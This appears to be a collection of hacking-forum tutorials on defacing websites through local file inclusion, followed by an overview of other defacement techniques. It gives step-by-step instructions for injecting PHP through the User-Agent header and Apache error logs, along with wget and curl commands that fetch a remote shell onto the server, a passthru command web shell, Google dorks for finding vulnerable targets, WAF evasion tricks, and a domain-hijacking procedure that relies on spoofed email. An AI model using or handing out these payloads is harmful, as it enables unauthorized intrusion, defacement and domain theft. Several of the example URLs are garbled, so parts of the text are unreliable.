LFI- Defacing

[MethoD 1]

NOTE: You will need FireFox and its addon Tamper Data to do this method!

LFI or Local File Inclusion allows you to include a local file(which means, that the file is stored on the server) and run it in a webscript.
In this method we are going to upload a shell by accessing the proc/self/environ.

Now we have our page

http://www.target.com/index.php?include=register.php

And now we are going to do this:

http://www.target.com/index.php?include=../


If it gives you an error message, this is good. Best thing that can happen is, it says "No such file or directory". But anyways, now add this to your url:

http://www.target.com/index.php?include=../etc/passwd


And as long as there is no text other than an error message on the page, keep adding "../" to the URL, so it would be like:

http://www.target.com/index.php?include=.../passwd
http://www.target.com/index.php?include=.../passwd
http://www.target.com/index.php?include=.../passwd


And so on. Now let's say we got to this URL

http://www.target.com/index.php?include=.../passwd
And we see some huge shitty text we can not handle with. Now change the etc/passwd in the URL to proc/self/environ so it would look like this:

http://www.target.com/index.php?include=...environ


If you see some text, you did good, if you see an error message you did bad. Now this is the point where we use Tamper Data. Start you Tamper and reload the page, and for user agent you type in the following PHP script:

Code: 

<?php $file = fopen("shell.php","w+"); $stream = fopen ("http://www.website.com/yourshell.txt", "r"); while(!feof($stream)) {
$shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>

This will execute the PHP script on the site and create a shell.php on the server. Why? Because the user agent is being displayed on the webpage, and if you put in a webscript for that, it will execute it.

Now simply access your shell by going to

http://www.taget.com/shell.php


And troll the server.

[Now LFI method 2]

NOTE: This only works on apache servers!

Alright you get back to the point where we tried to access the etc/passwd. You will do the same method, but not with etc/passwd, you will try to get access to apache/logs/error.log

If you have a brain, you should know how to do that, since it's EXACTLY the same method as on etc/passwd (explained in LFI method 1).

Now when you have found the file, open up cmd and type in

telnet http://www.tagrget.com 80

When you are inside the telnet, you copy the following code(you use your own shell url ofc)

Code: 

<?php $file = fopen("shell.php","w+"); $stream = fopen ("http://www.website.com/yourshell.txt", "r"); while(!feof($stream)) {
$shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>


Paste it into the telnet window, and press enter once or maybe twice(until you get an error message).

Now refresh the page in the browser(error.log) once and there you go. The PHP script will be executed and your shell will get uploaded to the server. Access it by typing in the following into your browser:

http://www.taget.com/shell.php

Author: AHFCREW blog
Video tut for the Tamper Data method!

http://www.youtube.com/watch?v=-YRdqD8199s

Agent's script used in the video:

Code: 

<?system('wget http://www.website.com/yourshell.txt -o shell.php');>

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Simple LFI

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[TUT] LFI (Uploading Shell) [Pics/Video]

A vulnerable link looks something like this:

Code:

www.site.com/index.php?page=/etc/passwd

Here's what the code looks like that makes it vulnerable.

Code:

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
  include("pages/$file");
   }
   else
   {
  include("index.php");
   }
   ?>

First off, you're going to need a few things.

1. FireFox
2. Tamper Data
3. Vulnerable Sites

If you can't find any good ones from those lists, use google dorks to find some.
Here's a few dorks.

Code:

inurl:index.php?homepage=
inurl:index.php?page=
inurl:index.php?index2=

I'm going to be showing you how to exploit LFI and get your shell uploaded via /proc/self/environ

So after you got your site, try checking if you can access /etc/passwd.

Your page should come up with something that looks like this.

Good, now we know that site is vulnerable.

Now we need to check for /proc/self/environ

So change your path to /proc/self/environ

Your page should look something like this if the file exists, not all sites have it.

http://i.imgur.com/23eiv.png
The part we're interested in, is the HTTP_USER_AGENT. We're going to change our user agent to try and get data from the site by injecting code where our browsers user agent should be.

To do this, we're going to use tamperdata. Once you have it installed, go to your options, and go down into TamperData.

Now you should have a window that looks like this.

http://i.imgur.com/BjBY1.png
So your page should still be /proc/self/environ
Click Start Tamper, and refresh your page.

We're going to try some code injection.

After you start tampering, you should see a window that looks something like this:

http://i.imgur.com/hulSq.png
In the User-Agent field, type:

Code:

<?php phpinfo();?>

Now when your site is down loading, you should get an image that looks something like this if you did it correctly.

Now we know we can execute code, so let's get our shell uploaded using wget.

Open TamperData again, click start tamper, and refresh your site. This time, on the User-Agent enter this:

Code:

<?exec('wget http://www.site.com/shell.txt -O shell.php');?>

It should look like this:

This downloads that text file, and renames it as a php file (your shell).

You can upload your shell as a text file using free webhosting...I already shelled a site, so I'm gonna use that site as file hosting.

Once you're done with that, you can try and access your shell directly by going to site/shell.php

If you get an error, try using the same method as when you got your vulnerable link.
Example:

Code:

http://www.site.com/index.php?page=/etc/passwd

Load your shell by using the same method.

Code:

http://www.site.com/index.php?page=shell.php

If it loads fine the second time, you can upload a file using your shell to directly access it.

When you're all done, you have a sexy shell, kinda like this :3

Alternate Methods
Sometimes sites will take extra precaution to prevent attacks like these.
Here is an alternate method.

Change your user agent to:

Code:

<? passthru($_GET['cmd']); ?>

Now load your url as:

Code:

/proc/self/environ?cmd=curl http://www.yoursite.com/shell.txt -o shell.php

So your url should look like:

Code:

http://www.vulnerablesite.com/index.php?page=/proc/self/environ?cmd=curl http://www.yoursite.com/shell.txt -o shell.php

Now hopefully you got around it, and got your shell uploaded.
Special thanks to Hooded Robin for all the help he's given me with LFI.
I recommend you take a look at his video tutorial using Burp Suite.
You can check it out Here
Thanks alot <3

If you guys need anything, post here or feel free to PM me. I'll get back to you as soon as I can.

Filter Evasion

As you know, some sites have Web Application Firewalls, or WAFs installed. In order to bypass these, here's a few techniques you can try.

Null Bytes

Adding a , or a nullbyte sometimes filters the site, and you can get around the firewalls.

Example:

Code:

http://www.site.com/index.php?page=/etc/passwd

It's pretty basic.

URL Encoding.

Here's another method, url encoding.

Encode your slashes, or unallowed characters to bypass these.

Code:

http://www.site.com/index.php?page=%2fetc%2fpasswd

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Website hacking Methods.......

I gonna teach you some basic of website hacking so first We gonna learn about website defacement

1) What is Website defacement ?

A website defacement is an attack on a website that changes the visual appearance of the site. These are typically the work of system crackers,who break into a web server and replace the hosted website with one of their own.

A high-profile website defacement was carried out on the website of the company SCO Group following its assertion that Linux contained stolen code. The title of the page was changed from "Red Hat vs SCO" to "SCO vsWorld," with various satirical content following

2) Terms to be used ---->

[SQL] - Structured Query Language

[LFI] - Local File Include

[RFI] - Remote File Include

[XSS] - Cross Site Scripting

[RCE] - Remote Code Execution

[AFD] - Arbitrary File Download

[SCD] - Source Code Disclosure

[PCI] - PHP Code Injection

3) Defacement techniques ?

I). DNS hijacking

II).FTP Protocol

III).Apache Vulnerable

IV).Script, Cookie, XSS

V).Social Engineering.

VI).SQL Injection

VII).RFI.

  

Now :-

I) What is Domain Hacking ?

A Domain hacking is a process to transfer domain(yahoo.com) without owner permission with help of phishing, sniffing,spoofing.

A domain hack is an unconventional domain name that combines domain levels, especially the top-level domain (TLD), to spell out the full "name" or title of the domain, making a kind of fun.

------->Domain Hacking process :--->

a) See who.is record of Slave(XXABCXX.net) DNS record and note

down admin email (xxabcxx@gmail/ymail/hotmail/live/[whatever apply this exception if possible admin(name)@XXABCXX.net] )

b) Send spoof mail to Slave admin email for password.

c) after open domain registrar ---->(my.india s.com)

their domain control panel (click forget password)

d) After you get a password in Slave email address of Slave domain.

e) Just login on domain control panel.

f) and get ECCP code and create new account on hosting company

and choose Domain transfer (all submit all details)

g) You will get all rights on this domain for lifetime.

  

II) What is FTP Protocol ?

The File Transfer Protocol (FTP) provides the basic elements of file sharing between hosts. FTP uses TCP to create a virtual connection for control information and then creates a separate TCP connection for data transfers. The control connection uses an image of the TELNET protocol to exchange commands and messages between hosts.

for detail check this Detail about FTP

III) What is XSS ?

XSS is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users.

Cross Site Scripting is a technique used to add script to a trusted site that will be executed

on other users browsers. A key element to XSS is that one user can submit data to a

website that will later be displayed for other users. It is nessesary that the bad guy NOT

mess up the HTML structure, otherwise the result will be web defacement rather then

attacking other users.

IV) What is Social Engineering ?

Social engineering is the act of manipulating people into doing actions or exposing confidential information. It's trickery or deception to gather information, fraud, or computer system access

where in the hacker never comes face-to-face with the Slave. Here are

I don't want to make my thread so big in size so i helped myself by

LINK

V) What is SQL injection ?

SQL injection is a type of security exploit in which the attacker

injects Structured Query Language (SQL) code through a web form input box, to gain access to resources, or make changes to data.

It is a technique of injecting SQL commands to exploit non-validated input vulnerabilities in a web application database.

-------------->Preventing SQL Injection

To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, parameterized statements must be used (preferred), or user input must be carefully escaped or filtered.

VI) What is RFI ?

  

Remote File Inclusion attacks allow malicious users to run their own PHPcode on a vulnerable website. The attacker is allowed to include his own (malicious) code in the space provided for PHP programs on a web page. 

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